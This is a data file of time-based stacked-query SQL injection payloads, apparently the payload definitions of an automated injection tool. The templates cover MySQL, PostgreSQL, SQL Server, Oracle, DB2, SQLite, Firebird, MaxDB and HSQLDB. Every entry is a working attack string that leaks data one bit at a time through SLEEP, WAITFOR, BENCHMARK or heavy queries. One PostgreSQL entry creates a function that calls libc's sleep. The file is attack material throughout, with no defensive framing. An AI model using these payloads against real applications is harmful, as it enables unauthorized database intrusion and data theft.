MySQL >= 5.0.12 stacked queries (comment)

MySQL >= 5.0.12 stacked queries (comment) 4 2 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) # [SLEEPTIME]

MySQL >= 5.0.12

MySQL >= 5.0.12 stacked queries 4 3 1 1-8 1 ;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) ;SELECT SLEEP([SLEEPTIME]) [SLEEPTIME]

MySQL >= 5.0.12

MySQL >= 5.0.12 stacked queries (query SLEEP - comment) 4 3 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # [SLEEPTIME]

MySQL >= 5.0.12

MySQL >= 5.0.12 stacked queries (query SLEEP) 4 4 1 1-8 1 ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) ;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) [SLEEPTIME]

MySQL >= 5.0.12

MySQL < 5.0.12 stacked queries (BENCHMARK - comment) 4 3 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) # [DELAYED]

MySQL

MySQL < 5.0.12 stacked queries (BENCHMARK) 4 5 2 1-8 1 ;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) ;SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) [DELAYED]

MySQL

PostgreSQL > 8.1 stacked queries (comment) 4 1 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) -- [SLEEPTIME]

PostgreSQL > 8.1

PostgreSQL > 8.1 stacked queries 4 4 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;SELECT PG_SLEEP([SLEEPTIME]) [SLEEPTIME]

PostgreSQL > 8.1

PostgreSQL stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) -- [DELAYED]

PostgreSQL

PostgreSQL stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) ;SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000) [DELAYED]

PostgreSQL

PostgreSQL < 8.2 stacked queries (Glibc - comment) 4 3 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) -- [SLEEPTIME]

PostgreSQL < 8.2 Linux

PostgreSQL < 8.2 stacked queries (Glibc) 4 5 1 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) ;CREATE OR REPLACE FUNCTION SLEEP(int) RETURNS int AS '/lib/libc.so.6','sleep' language 'C' STRICT; SELECT sleep([SLEEPTIME]) [SLEEPTIME]

PostgreSQL < 8.2 Linux

Microsoft SQL Server/Sybase stacked queries (comment) 4 1 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' -- [SLEEPTIME]

Microsoft SQL Server Sybase

Microsoft SQL Server/Sybase stacked queries (DECLARE - comment) 4 2 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x -- [SLEEPTIME]

Microsoft SQL Server Sybase

Microsoft SQL Server/Sybase stacked queries 4 4 1 1-8 1 ;IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' ;WAITFOR DELAY '0:0:[SLEEPTIME]' [SLEEPTIME]

Microsoft SQL Server Sybase

Microsoft SQL Server/Sybase stacked queries (DECLARE) 4 5 1 1-8 1 ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];IF([INFERENCE]) WAITFOR DELAY @x ;DECLARE @x CHAR(9);SET @x=0x303a303a3[SLEEPTIME];WAITFOR DELAY @x [SLEEPTIME]

Microsoft SQL Server Sybase

Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment) 4 1 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL -- [SLEEPTIME]

Oracle

Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) 4 4 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL [SLEEPTIME]

Oracle

Oracle stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 -- [DELAYED]

Oracle

Oracle stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 [DELAYED]

Oracle

Oracle stacked queries (DBMS_LOCK.SLEEP - comment) 4 4 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END -- [SLEEPTIME]

Oracle

Oracle stacked queries (DBMS_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END [SLEEPTIME]

Oracle

Oracle stacked queries (USER_LOCK.SLEEP - comment) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END -- [SLEEPTIME]

Oracle

Oracle stacked queries (USER_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END [SLEEPTIME]

Oracle

IBM DB2 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 -- [DELAYED]

IBM DB2

IBM DB2 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 [DELAYED]

IBM DB2

SQLite > 2.0 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- [DELAYED]

SQLite > 2.0

SQLite > 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) [DELAYED]

SQLite > 2.0

Firebird stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 -- [DELAYED]

Firebird >= 2.0

Firebird stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 [DELAYED]

Firebird >= 2.0

SAP MaxDB stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 -- [DELAYED]

SAP MaxDB

SAP MaxDB stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 [DELAYED]

SAP MaxDB

HSQLDB >= 1.7.2 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) -- [SLEEPTIME]

HSQLDB >= 1.7.2

HSQLDB >= 1.7.2 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) [SLEEPTIME]

HSQLDB >= 1.7.2

HSQLDB >= 2.0 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) -- [SLEEPTIME]

HSQLDB >= 2.0

HSQLDB >= 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) [SLEEPTIME]

HSQLDB >= 2.0